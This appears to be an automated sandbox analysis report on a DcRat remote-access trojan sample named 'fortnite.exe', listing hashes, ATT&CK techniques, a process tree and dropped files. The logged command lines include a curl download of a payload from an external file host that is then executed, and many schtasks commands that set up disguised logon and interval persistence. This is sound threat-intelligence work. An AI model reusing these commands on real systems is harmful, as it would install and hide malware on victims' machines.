dcrat | 9bfc9ba2bb3b295e72a6898bfa7ed7a77421d06a0886b27dc6c79e40f90e7877

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03-11-2024 14:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fortnite.exe
Size

1.3MB
MD5

1c16bf40db9d99d8a4f882ee6f00af78
SHA1

82c7fdf41cd5681210da9214faa247fd26bcd350
SHA256

9bfc9ba2bb3b295e72a6898bfa7ed7a77421d06a0886b27dc6c79e40f90e7877
SHA512

378779c8be8bfef6bc2fa60bc6db618a1edc7ccd1fa130b992350ed2c28d9c87f0790b589ad3e498792ca02183286261e1f941b64f1098c1aa8eb109b61ba38a
SSDEEP

12288:8lOYMXO4mKrGuiQa47F6zKRbOQCLqn4UxCj2AqeMQm5ZQyRWkhuq3nbep3+bKDZb:8iXdm+oHLqn4uGKF5lpC+bKlAtc06x

Score

10^/10

dcrat discovery infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3532	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2224	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	100	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1480	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1012	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1164	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4564	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2672	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1116	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5100	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2600	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	224	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1476	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1248	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2568	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4652	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1288	4560	schtasks.exe	96
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3736	4560	schtasks.exe	96

Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

fortnite.exephysmeme.exeWScript.exeMsHyperDhcp.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	fortnite.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	physmeme.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	MsHyperDhcp.exe

Executes dropped EXE 3 IoCs

Processes:

physmeme.exeMsHyperDhcp.exeMsHyperDhcp.exe

pid	Process
1164	physmeme.exe
4336	MsHyperDhcp.exe
3600	MsHyperDhcp.exe

Drops file in Program Files directory 4 IoCs

Processes:

MsHyperDhcp.exe

description	ioc	Process
File created	C:\Program Files (x86)\Windows Media Player\SearchApp.exe	MsHyperDhcp.exe
File created	C:\Program Files (x86)\Windows Media Player\38384e6a620884	MsHyperDhcp.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\spoolsv.exe	MsHyperDhcp.exe
File created	C:\Program Files\Java\jdk-1.8\legal\jdk\f3b6ecef712a24	MsHyperDhcp.exe

Drops file in Windows directory 3 IoCs

Processes:

curl.exeMsHyperDhcp.exe

description	ioc	Process
File created	C:\Windows\Speech\physmeme.exe	curl.exe
File created	C:\Windows\ModemLogs\StartMenuExperienceHost.exe	MsHyperDhcp.exe
File created	C:\Windows\ModemLogs\55b276f4edf653	MsHyperDhcp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

physmeme.exeWScript.execmd.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	physmeme.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 2 IoCs

Processes:

physmeme.exeMsHyperDhcp.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	physmeme.exe
Key created	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings	MsHyperDhcp.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

pid	Process
3532	schtasks.exe
2224	schtasks.exe
100	schtasks.exe
1012	schtasks.exe
5100	schtasks.exe
2600	schtasks.exe
224	schtasks.exe
1248	schtasks.exe
1480	schtasks.exe
1476	schtasks.exe
4652	schtasks.exe
3736	schtasks.exe
1164	schtasks.exe
4564	schtasks.exe
2672	schtasks.exe
1116	schtasks.exe
2568	schtasks.exe
1288	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

MsHyperDhcp.exeMsHyperDhcp.exe

pid	Process
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
4336	MsHyperDhcp.exe
3600	MsHyperDhcp.exe
3600	MsHyperDhcp.exe
3600	MsHyperDhcp.exe
3600	MsHyperDhcp.exe
3600	MsHyperDhcp.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

MsHyperDhcp.exeMsHyperDhcp.exe

description	pid	Process
Token: SeDebugPrivilege	4336	MsHyperDhcp.exe
Token: SeDebugPrivilege	3600	MsHyperDhcp.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

fortnite.execmd.exephysmeme.exeWScript.execmd.exeMsHyperDhcp.execmd.exe

description	pid	Process	procid_target
PID 1084 wrote to memory of 1576	1084	fortnite.exe	85
PID 1084 wrote to memory of 1576	1084	fortnite.exe	85
PID 1576 wrote to memory of 2068	1576	cmd.exe	86
PID 1576 wrote to memory of 2068	1576	cmd.exe	86
PID 1084 wrote to memory of 1164	1084	fortnite.exe	88
PID 1084 wrote to memory of 1164	1084	fortnite.exe	88
PID 1084 wrote to memory of 1164	1084	fortnite.exe	88
PID 1164 wrote to memory of 372	1164	physmeme.exe	91
PID 1164 wrote to memory of 372	1164	physmeme.exe	91
PID 1164 wrote to memory of 372	1164	physmeme.exe	91
PID 372 wrote to memory of 2800	372	WScript.exe	101
PID 372 wrote to memory of 2800	372	WScript.exe	101
PID 372 wrote to memory of 2800	372	WScript.exe	101
PID 2800 wrote to memory of 4336	2800	cmd.exe	103
PID 2800 wrote to memory of 4336	2800	cmd.exe	103
PID 4336 wrote to memory of 1704	4336	MsHyperDhcp.exe	122
PID 4336 wrote to memory of 1704	4336	MsHyperDhcp.exe	122
PID 1704 wrote to memory of 3368	1704	cmd.exe	124
PID 1704 wrote to memory of 3368	1704	cmd.exe	124
PID 1704 wrote to memory of 2964	1704	cmd.exe	125
PID 1704 wrote to memory of 2964	1704	cmd.exe	125
PID 1704 wrote to memory of 3600	1704	cmd.exe	127
PID 1704 wrote to memory of 3600	1704	cmd.exe	127

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fortnite.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1576
- - C:\Windows\system32\curl.exe
    curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
    3⤵
    - Drops file in Windows directory
    PID:2068
- C:\Windows\Speech\physmeme.exe
  "C:\Windows\Speech\physmeme.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:372
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2800
    - - C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe
        
        "C:\BridgeHyperBlocknetdhcp/MsHyperDhcp.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4336
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\FksZM0ojjN.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1704
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:3368
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:2964
        
        C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe
        
        "C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 9 /tr "'C:\Windows\ModemLogs\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\ModemLogs\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Windows\ModemLogs\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 9 /tr "'C:\BridgeHyperBlocknetdhcp\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\BridgeHyperBlocknetdhcp\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\Program Files\Java\jdk-1.8\legal\jdk\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4564

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\Java\jdk-1.8\legal\jdk\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2672

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Program Files\Java\jdk-1.8\legal\jdk\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Media Player\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Media Player\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 12 /tr "'C:\BridgeHyperBlocknetdhcp\MoUsoCoreWorker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1476

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 8 /tr "'C:\BridgeHyperBlocknetdhcp\MoUsoCoreWorker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 11 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MsHyperDhcp" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 8 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe

Filesize
253B

MD5
4bb32a75d150d0312a4f6b779f0b181a

SHA1
03dd7971f5534a9d5871fc936c40b7aa28c58de8

SHA256
1590ca47cc698690025d71afb485ec10be508fc5330e5d074b992f9e4f509b0e

SHA512
91d0806fa988cbbdcfa0ec80b69236f8056b0170e484fbc9c7486bca63efdec9bd93f9a31568ac5fe7ef7dd63e7eb88c27be4928ac8e132445c8340bc3a2fff6

Download Submit
C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe

Filesize
1.8MB

MD5
8eedebc3e9237f67772e3fc3c3d798ea

SHA1
a87e1c10ddbc4c7fdbb69437647f4910216ec689

SHA256
2f1c931ea2ef0cb95382657e6947cab4cb463519e1316d5fc3cd752f8de29301

SHA512
2cf1015562ea15f3a04a7ca0fbdef489cd84ccc555facec9d94ca890365d7a65b5974442b4d36918d284c8b1cd81b905698eb7fa99b8dc14c55f5cdb05f7c8b9

Download Submit
C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat

Filesize
86B

MD5
280356ba496d0f7d9a0d88c1e5786d93

SHA1
d5ccc97c0f4e07736f44240ce25dfcbc93c6ccad

SHA256
f6a0387019b90b50ff47c15052970372fec47420680d0d576e0288a0fa632aad

SHA512
0bd118a4766c777b2574ac1f5cfd3f71bf3f4698c6a9b6b856abf75c35ff2c47cbdf4a72189155f23cfaf1b340adf1db5ad2fe0acbe16bb60add7850ac0c1ffd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MsHyperDhcp.exe.log

Filesize
1KB

MD5
af6acd95d59de87c04642509c30e81c1

SHA1
f9549ae93fdb0a5861a79a08f60aa81c4b32377b

SHA256
7521ee2d065a78efcab55a194fbd78492f84b70595f139263875f4ea92b194d6

SHA512
93ab99bcf588fde553de3240e0d2b0cbd4e4bc5ef5e99d53f45a267d7ff30103a80b5a7aa1c52d6eff1e070af0ec82d2c0b8aafb7099742aa16810edc1815c3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\FksZM0ojjN.bat

Filesize
218B

MD5
b23be3a9593a5ecbc73ea755c277ed0c

SHA1
2daa1544db4877be71ee529dfc105ec7fe630211

SHA256
a64e953d903c7480d4d53f79d3d69b0a3445c2a7480eb3ae55feb28cf834107f

SHA512
a09ca8805fad18e8abb23c48aaa425e4e306356a66912a2929105a66ed85486d977975522dc819cf3257a916b70875b996b3dc980ec011ddfa9aab32633ba177

Download Submit
C:\Windows\Speech\physmeme.exe

Filesize
2.1MB

MD5
e0216529a1eaed9f919e40074ca84f33

SHA1
3c2c9e6fc0e096b8aba3c96b3c23431a8aa17cc8

SHA256
48cead232045bf8ed6d8dbca3e2072be474fd74ad8901e7a3febe44a9315e5c1

SHA512
e03c5823c27b7f6b4b61ecd48a2ab1019da4e10d3de53965a183b03ef5ebdba07532d28e6284b51ceceb7fc4794719220038faccd5cb9d2a767dd82697a969df

Download Submit
memory/4336-15-0x0000000000F80000-0x0000000001152000-memory.dmp

Filesize
1.8MB

Download
memory/4336-17-0x0000000003330000-0x000000000333E000-memory.dmp

Filesize
56KB

Download
memory/4336-19-0x000000001BDA0000-0x000000001BDBC000-memory.dmp

Filesize
112KB

Download
memory/4336-20-0x000000001BF50000-0x000000001BFA0000-memory.dmp

Filesize
320KB

Download
memory/4336-22-0x000000001BDC0000-0x000000001BDD8000-memory.dmp

Filesize
96KB

Download